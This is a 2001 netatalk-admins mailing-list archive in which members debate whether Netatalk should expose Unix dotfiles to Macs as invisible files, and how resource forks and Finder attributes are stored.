From: Ray Zimmerman <rz10@cornell.edu>
Subject: Re: Hidden Files Not Being Copied
Cc: Netatalk List <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:58 PM -0500 1/18/01, Bill Moran wrote:
>  > Each file has a set of attributes stored with it indicating whether
>>  it is visible, the file type, creator app, whether it is locked, etc.
>
>Is this part of the resource fork?

I'm not 100% sure where it is stored, but I think it's part of the 
file system definition (wherever file create and mod dates are 
stored). It's definitely not in the resource fork though, because 
files with no resource fork have this info.

>If so, how is this resource fork represented through Netatalk? The
>invisible attribute could be stored there as well.

I believe it is. IIRC the AppleDouble format stores the resource fork 
as well as these extra file attributes not included in other files 
systems. If you create files on the Mac and copy them to netatalk all 
of these attributes stay intact. If the file starts with a . that 
gets encoded when copied to a netatalk volume.

>Another thought: Why are dotfiles ignored to begin with? Why not just
>hide the .AppleDouble and .AppleDesktop files but show other dotfiles?

The only way to get a dotfile is to create it on the *nix side I 
believe, in which case it is intended to be invisible. So I still 
think it should be made available to the Mac side, but as a file with 
the invisible bit set.

Next best would be just to make them available as visible files.

	Ray

From netatalk.administrators-errors@umich.edu  Thu Jan 18 13:17:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA26746
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 13:17:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA02916
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 13:17:32 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA02890
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 13:17:32 -0500 (EST)
Received: from lynxgen.com (loki.lynxgen.com [205.226.124.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA02823
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:17:30 -0500 (EST)
Received: from emgate.lynxgen.com (emgate [205.226.124.8])
	by lynxgen.com (8.8.8+Sun/8.8.8(mir-03/29/00)) with ESMTP id KAA25808
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 10:18:39 -0800 (PST)
Received: by emgate.lynxgen.com with Internet Mail Service (5.5.2448.0)
	id <Z6T0FJ4D>; Thu, 18 Jan 2001 10:18:41 -0800
Message-ID: <9BA899228F1FD3119E5D00105A9FBDCA2D41CA@emgate.lynxgen.com>
From: Joseph Silva <JSilva@lynxgen.com>
To: "'netatalk-admins'" <netatalk-admins@umich.edu>
Subject: Test, ignore this message
Date: Thu, 18 Jan 2001 10:18:40 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain

	Yada Yada, sorry for the mess.


From netatalk.administrators-errors@umich.edu  Thu Jan 18 13:19:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA26840
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 13:19:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA23914
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 13:19:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA23896
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 13:19:51 -0500 (EST)
Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA23845
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:19:49 -0500 (EST)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id NAA25080;
	Thu, 18 Jan 2001 13:19:41 -0500 (EST)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p0432040cb68ce32ba097@[128.84.239.190]>
In-Reply-To: <19791.979840123@dis.strath.ac.uk>
References: <B68CB2E2.29EE%basil.hussain@specialreserve.net>
 <p04320402b68cd4852e3f@[128.84.239.190]>
 <19791.979840123@dis.strath.ac.uk>
Date: Thu, 18 Jan 2001 13:19:31 -0500
To: sinclair@dis.strath.ac.uk, Netatalk List <netatalk-admins@umich.edu>
From: Ray Zimmerman <rz10@cornell.edu>
Subject: Re: Hidden Files Not Being Copied
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 5:48 PM +0000 1/18/01, Duncan Sinclair wrote:
>It should be possible to get netatalk to tell the mac about dot files,
>but mark them hidden.  "Just a Simple Matter of Programming." (TM)
>
>Naturally, special care would have to be taken for the .AppleDouble
>directory.

OK, that's makes three of us ... does anyone see any problems with this?

I think ideally netatalk should have a config option to allow it 
choose between the following 3 behaviors:

1. Don't make dotfiles available to the Mac (current behavior).
2. Make dotfiles available as visible files with no name change.
3. Make dotfiles available as invisible files with the '.' stripped off.

	Ray

From netatalk.administrators-errors@umich.edu  Thu Jan 18 13:21:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA26935
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 13:21:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10845
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 13:21:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10789
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 13:21:49 -0500 (EST)
Received: from cerberus.picdar.co.uk ([193.115.138.155])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA10742
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:21:47 -0500 (EST)
Received: from [141.89.179.49] (legalip.picdar.co.uk [193.115.138.137])
	by cerberus.picdar.co.uk (8.9.3+Sun/8.9.3) with ESMTP id SAA21554
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 18:40:32 GMT
Message-Id: <200101181840.SAA21554@cerberus.picdar.co.uk>
X-Mailer: Microsoft Outlook Express Macintosh Edition - 4.5 (0410)
Date: Thu, 18 Jan 2001 18:21:38 +0000
Subject: Re: Hidden Files Not Being Copied
From: "Philip J Spence" <pspence@picdar.co.uk>
To: netatalk-admins@umich.edu
Mime-version: 1.0
X-Priority: 3
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

The AppleVolumes.default shipped with netatalk-1.4.99-0.20001108 contains 
these lines.

# nohex           -> don't do :hex translations for anything
#                except dot files. specify usedots as well if
#            you want that turned off. note: this option
#            makes the / character illegal.
# usedots             -> don't do :hex translation for dot files. note: when
#                        this option gets set, certain file names
#            become illegal. these are .Parent and
#            anything that starts with .Apple. also, dot
#            files created on the unix side are marked
#            invisible.

Useful?
>
> It should be possible to get netatalk to tell the mac about dot files,
> but mark them hidden.  "Just a Simple Matter of Programming." (TM)
>
> Naturally, special care would have to be taken for the .AppleDouble
> directory.
>
> Go on, tell me I'm wrong - I've not verified any of this.
>
> Cheers,
>
>
>
> Duncan.
>
>


From netatalk.administrators-errors@umich.edu  Thu Jan 18 13:22:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA26962
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 13:22:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA25640
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 13:22:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA25593
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 13:22:06 -0500 (EST)
Received: from server-33.tower-1.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA25493
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:22:03 -0500 (EST)
X-VirusChecked: Checked
Received: (qmail 20462 invoked from network); 18 Jan 2001 18:01:35 -0000
Received: from holly.cam.harlequin.co.uk (193.128.4.58)
  by server-33.tower-1.london-2.starlabs.net with SMTP; 18 Jan 2001 18:01:35 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id SAA12892 for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 18:21:29 GMT
Received: from swigbert (swigbert.cam.harlequin.co.uk [172.16.16.21])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id SAA05674; Thu, 18 Jan 2001 18:21:28 GMT
Message-Id: <3.0.3.32.20010118182046.031f39a0@mailhost.cam.harlequin.co.uk>
X-Sender: peter@mailhost.cam.harlequin.co.uk
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 18 Jan 2001 18:20:46 +0000
To: netatalk-admins@umich.edu
From: Peter Westlake <peter@harlequin.co.uk>
Subject: Re: Hidden Files Not Being Copied
Cc: <netatalk-admins@umich.edu>
In-Reply-To: <sa66b397.017@keam1>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 09:12 2001-01-18 -0800, Bryn Hughes wrote:
>It really doesn't sound like it would be impossible to impliment... something along the lines of:
>
>if <filename> starts with '.' then
>  if <filename> is not '.AppleDouble' then
>    copy file, stripping leading period
>    set invisible to true
>    
>
>I know that the MacOS by default WILL copy any hidden files/folders in a directory.  If you want to see nice evidence of this copy the root level of a Mac's disk to a netatalk share.  All the invisible files get copied too.  In fact you'll even get messages about copying the desktop printers, as they reside inside the invisible 'Desktop Folder' at the root level of the disk.  So in theory files comming FROM a UNIX share that start with a period should be made invisible.

I think changing the name is a really bad idea. If you try to duplicate
a folder, you should get a duplicate. There's no reason not to have the
dot on a Mac. If you really are duplicating, or if you are copying to
another Unix directory, then you should get a true copy when you look
at it from the Unix side. The dot prefix is only treated specially by
"ls" and a few other programs - it doesn't really mean "invisible". To
most programs, it is just part of the file's name. I suggest that if
you are doing an actual Duplicate operation (command-D), then the dotted
files should be copied. If you are copying the files to the Mac, it should
be optional whether they are ignored, copied, or copied and made invisible.

Peter.



From netatalk.administrators-errors@umich.edu  Thu Jan 18 13:36:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA27638
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 13:36:45 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA07492
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 13:36:45 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA07448
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 13:36:44 -0500 (EST)
Received: from kth.se (kth.se [130.237.72.201])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA07373
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:36:41 -0500 (EST)
Received: from [130.237.10.36] (asynk36.modempool.kth.se [130.237.10.36])
	by kth.se (8.9.1a/8.9.1) with ESMTP id TAA22194
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 19:36:39 +0100 (MET)
Message-Id: <200101181836.TAA22194@kth.se>
X-Mailer: Microsoft Outlook Express Macintosh Edition - 4.5 (0410)
Date: Thu, 18 Jan 2001 19:32:56 +0100
Subject: unsubscribe
From: "Lars Eng" <Lars.Eng@biochem.kth.se>
To: netatalk-admins@umich.edu
Mime-version: 1.0
X-Priority: 3
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA27638


-- 
Lars Eng
Tjädervägen 3
175 64 Järfälla

Telefon hem: 08 795 8919; mobil: 070 586 5641

From netatalk.administrators-errors@umich.edu  Thu Jan 18 13:48:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA28027
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 13:48:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA01174
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 13:48:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA01146
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 13:48:51 -0500 (EST)
Received: from ibfmail1.irwinbf.com (mail.irwinbf.com [209.101.186.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA01111
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:48:49 -0500 (EST)
Received: by IBFMAIL1 with Internet Mail Service (5.5.2650.21)
	id <ZFWNSBF1>; Thu, 18 Jan 2001 10:47:20 -0800
Message-ID: <0169B15043B8D3119E6C00508B2CA90C2BD534@IBFMAIL1>
From: "Vaughn, George" <GVaughn@IrwinBF.com>
To: netatalk-admins@umich.edu
Subject: RE: Hidden Files Not Being Copied
Date: Thu, 18 Jan 2001 10:47:19 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"

Macs don't create files without resource forks. If a file exists on a MacOS
filesystem (FS), it has a resource fork. If a file is copied to a MacOS FS
without a resource fork, one is created as soon as MacOS looks in the
directory (this is why MacOS takes a while for DOS-formatted disk contents
to appear, it's creating resource forks for the contents of the viewed
directory).

Netatalk appears to translate the resource forks to the Linux attributes
(probably via the .AppleDouble file) and vice versa, but the resource forks
*definitely* exist on the MacOS FS, and that *is* where the permissions,
date created, date modified, etc. info exists, as well as the visibility
flag and custom icons (years of resource fork editing via resEdit experience
talking here).

Macs can create files with anything in the filename except ":" or "/" on any
local system, as far as I know. The MacOS hasn't had a problem with leading
periods since at least 1996. The problem that's being seen with the ":e2"
replacing the "." is something occuring in Netatalk (at a guess, to prevent
the files from becoming invisible).

There's my $.02


George Vaughn
gvaughn@irwinbf.com






-----Original Message-----
From: Ray Zimmerman [mailto:rz10@cornell.edu]
Sent: Thursday, January 18, 2001 10:14 AM
To: Bill Moran
Cc: Netatalk List
Subject: Re: Hidden Files Not Being Copied


At 12:58 PM -0500 1/18/01, Bill Moran wrote:
>  > Each file has a set of attributes stored with it indicating whether
>>  it is visible, the file type, creator app, whether it is locked, etc.
>
>Is this part of the resource fork?

I'm not 100% sure where it is stored, but I think it's part of the 
file system definition (wherever file create and mod dates are 
stored). It's definitely not in the resource fork though, because 
files with no resource fork have this info.

>If so, how is this resource fork represented through Netatalk? The
>invisible attribute could be stored there as well.

I believe it is. IIRC the AppleDouble format stores the resource fork 
as well as these extra file attributes not included in other files 
systems. If you create files on the Mac and copy them to netatalk all 
of these attributes stay intact. If the file starts with a . that 
gets encoded when copied to a netatalk volume.

>Another thought: Why are dotfiles ignored to begin with? Why not just
>hide the .AppleDouble and .AppleDesktop files but show other dotfiles?

The only way to get a dotfile is to create it on the *nix side I 
believe, in which case it is intended to be invisible. So I still 
think it should be made available to the Mac side, but as a file with 
the invisible bit set.

Next best would be just to make them available as visible files.

	Ray

From netatalk.administrators-errors@umich.edu  Thu Jan 18 13:56:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA28415
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 13:56:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12218
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 13:56:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12186
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 13:56:49 -0500 (EST)
Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA12112
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:56:48 -0500 (EST)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id NAA26000;
	Thu, 18 Jan 2001 13:56:45 -0500 (EST)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p0432040db68ce9d932c9@[128.84.239.190]>
In-Reply-To: 
 <3.0.3.32.20010118182046.031f39a0@mailhost.cam.harlequin.co.uk>
References: <3.0.3.32.20010118182046.031f39a0@mailhost.cam.harlequin.co.uk>
Date: Thu, 18 Jan 2001 13:56:08 -0500
To: netatalk-admins@umich.edu
From: Ray Zimmerman <rz10@cornell.edu>
Subject: Re: Hidden Files Not Being Copied
Cc: <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 6:20 PM +0000 1/18/01, Peter Westlake wrote:
>I think changing the name is a really bad idea. If you try to duplicate
>a folder, you should get a duplicate. There's no reason not to have the
>dot on a Mac. If you really are duplicating, or if you are copying to
>another Unix directory, then you should get a true copy when you look
>at it from the Unix side. The dot prefix is only treated specially by
>"ls" and a few other programs - it doesn't really mean "invisible". To
>most programs, it is just part of the file's name. I suggest that if
>you are doing an actual Duplicate operation (command-D), then the dotted
>files should be copied. If you are copying the files to the Mac, it should
>be optional whether they are ignored, copied, or copied and made invisible.

I think that if a dotfile on Unix is going to translate to an 
invisible on the Mac side, then it has to strip the dot and the 
translation has to go both ways, otherwise you run into trouble.

In the scenarios you mentioned, it wouldn't be a problem. If you 
duplicate or copy a Unix directory with dotfiles, the Mac would see 
them as invisible non-dotfiles which netatalk would translate back to 
dotfiles when writing the copy.

An example of a problem if it doesn't strip the dot would go 
something like this. You copy an invisible file called 'foo' from Mac 
to a netatalk volume. On the *nix side you would have a file called 
'.foo'. Copy that back to the Mac and you have an invisible file 
called '.foo'. Copy that back to your netatalk volume and now you 
have a file called '..foo'.

	Ray

From netatalk.administrators-errors@umich.edu  Thu Jan 18 13:58:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA28509
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 13:58:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA15556
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 13:58:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA15517
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 13:58:35 -0500 (EST)
Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA15437
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:58:34 -0500 (EST)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id NAA26107
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 13:58:31 -0500 (EST)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p0432040eb68ceccbe427@[128.84.239.190]>
In-Reply-To: <200101181840.SAA21554@cerberus.picdar.co.uk>
References: <200101181840.SAA21554@cerberus.picdar.co.uk>
Date: Thu, 18 Jan 2001 13:58:16 -0500
To: netatalk-admins@umich.edu
From: Ray Zimmerman <rz10@cornell.edu>
Subject: Re: Hidden Files Not Being Copied
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 6:21 PM +0000 1/18/01, Philip J Spence wrote:
>The AppleVolumes.default shipped with netatalk-1.4.99-0.20001108 contains
>these lines.
>
># nohex           -> don't do :hex translations for anything
>#                except dot files. specify usedots as well if
>#            you want that turned off. note: this option
>#            makes the / character illegal.
># usedots             -> don't do :hex translation for dot files. note: when
>#                        this option gets set, certain file names
>#            become illegal. these are .Parent and
>#            anything that starts with .Apple. also, dot
>#            files created on the unix side are marked
>#            invisible.
>
>Useful?

Anyone played with this?

Sounds like 'usedots' may only do the dot->invisible translation but 
not the other way.

I'll have to check this out if I get some time.

	Ray

From netatalk.administrators-errors@umich.edu  Thu Jan 18 14:16:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA29160
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 14:16:58 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA17451
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 14:16:58 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA17393
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 14:16:52 -0500 (EST)
Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA17149
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 14:16:42 -0500 (EST)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id OAA26656;
	Thu, 18 Jan 2001 14:16:40 -0500 (EST)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p04320412b68cef1d700f@[128.84.239.190]>
In-Reply-To: <0169B15043B8D3119E6C00508B2CA90C2BD534@IBFMAIL1>
References: <0169B15043B8D3119E6C00508B2CA90C2BD534@IBFMAIL1>
Date: Thu, 18 Jan 2001 14:14:37 -0500
To: "Vaughn, George" <GVaughn@IrwinBF.com>, netatalk-admins@umich.edu
From: Ray Zimmerman <rz10@cornell.edu>
Subject: RE: Hidden Files Not Being Copied
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Sorry, I'm going to have to respectfully disagree with you on a few 
things here George ...

Not all Mac files have resource forks. I can send you one without if 
you like and you can verify it by trying to open it in ResEdit and 
having it tell you that it doesn't have a resource fork and would you 
like to create one.

Again, I believe the Finder attributes (dates, invisible flag, etc) 
are actually part of the HFS and HFS+ definitions.

The DOS-formatted disk phenomenon you mention has to do with creating 
the Finder.dat files which contain these attributes, but resource 
forks are not created.

Also, a '/' is legal in a Mac file name. I think it's only the ':' 
(the MacOS directory separator) that's illegal.

	Ray

At 10:47 AM -0800 1/18/01, Vaughn, George wrote:
>Macs don't create files without resource forks. If a file exists on a MacOS
>filesystem (FS), it has a resource fork. If a file is copied to a MacOS FS
>without a resource fork, one is created as soon as MacOS looks in the
>directory (this is why MacOS takes a while for DOS-formatted disk contents
>to appear, it's creating resource forks for the contents of the viewed
>directory).
>
>Netatalk appears to translate the resource forks to the Linux attributes
>(probably via the .AppleDouble file) and vice versa, but the resource forks
>*definitely* exist on the MacOS FS, and that *is* where the permissions,
>date created, date modified, etc. info exists, as well as the visibility
>flag and custom icons (years of resource fork editing via resEdit experience
>talking here).
>
>Macs can create files with anything in the filename except ":" or "/" on any
>local system, as far as I know. The MacOS hasn't had a problem with leading
>periods since at least 1996. The problem that's being seen with the ":e2"
>replacing the "." is something occuring in Netatalk (at a guess, to prevent
>the files from becoming invisible).
>
>There's my $.02
>
>
>George Vaughn
>gvaughn@irwinbf.com

From netatalk.administrators-errors@umich.edu  Thu Jan 18 14:18:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA29198
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 14:18:06 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA20110
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 14:17:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA20088
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 14:17:58 -0500 (EST)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA19845
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 14:17:56 -0500 (EST)
Received: by mail.teleologic.net (Postfix, from userid 1049)
	id 794B82B90C6; Thu, 18 Jan 2001 13:17:52 -0600 (CST)
Date: Thu, 18 Jan 2001 13:17:52 -0600
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Subject: Re: Hidden Files Not Being Copied
Message-ID: <20010118131752.J4458@teleologic.net>
References: <3.0.3.32.20010118182046.031f39a0@mailhost.cam.harlequin.co.uk> <p0432040db68ce9d932c9@[128.84.239.190]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <p0432040db68ce9d932c9@[128.84.239.190]>; from rz10@cornell.edu on Thu, Jan 18, 2001 at 01:56:08PM -0500
X-Operating-System: Linux 2.2.16 i686
X-Dont-Spam-Me: I might come after you

Ray wrote regarding 'Re: Hidden Files Not Being Copied' on Thu, Jan 18 at 13:12:
> At 6:20 PM +0000 1/18/01, Peter Westlake wrote:
> >I think changing the name is a really bad idea. If you try to duplicate
> >a folder, you should get a duplicate. There's no reason not to have the
> >dot on a Mac. If you really are duplicating, or if you are copying to
> >another Unix directory, then you should get a true copy when you look
> >at it from the Unix side. The dot prefix is only treated specially by
> >"ls" and a few other programs - it doesn't really mean "invisible". To
> >most programs, it is just part of the file's name. I suggest that if
> >you are doing an actual Duplicate operation (command-D), then the dotted
> >files should be copied. If you are copying the files to the Mac, it should
> >be optional whether they are ignored, copied, or copied and made invisible.
> 
> I think that if a dotfile on Unix is going to translate to an 
> invisible on the Mac side, then it has to strip the dot and the 
> translation has to go both ways, otherwise you run into trouble.
> 
> In the scenarios you mentioned, it wouldn't be a problem. If you 
> duplicate or copy a Unix directory with dotfiles, the Mac would see 
> them as invisible non-dotfiles which netatalk would translate back to 
> dotfiles when writing the copy.
> 
> An example of a problem if it doesn't strip the dot would go 
> something like this. You copy an invisible file called 'foo' from Mac 
> to a netatalk volume. On the *nix side you would have a file called 
> '.foo'. Copy that back to the Mac and you have an invisible file 
> called '.foo'. Copy that back to your netatalk volume and now you 
> have a file called '..foo'.

What's wrong with "if it has a dot and is MacInvisible, leave alone, else,
add a dot" combined with "leave the filename alone otherwise"?   That's
*my* preference...  I don't like filenames being screwed with in any but
the most absolutely neccesary cases.

--Danny, not following this thread closely enough to know if that's already
	been suggested

From netatalk.administrators-errors@umich.edu  Thu Jan 18 14:19:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA29240
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 14:19:25 -0500 (EST)
Received: (from daemon@localhost)
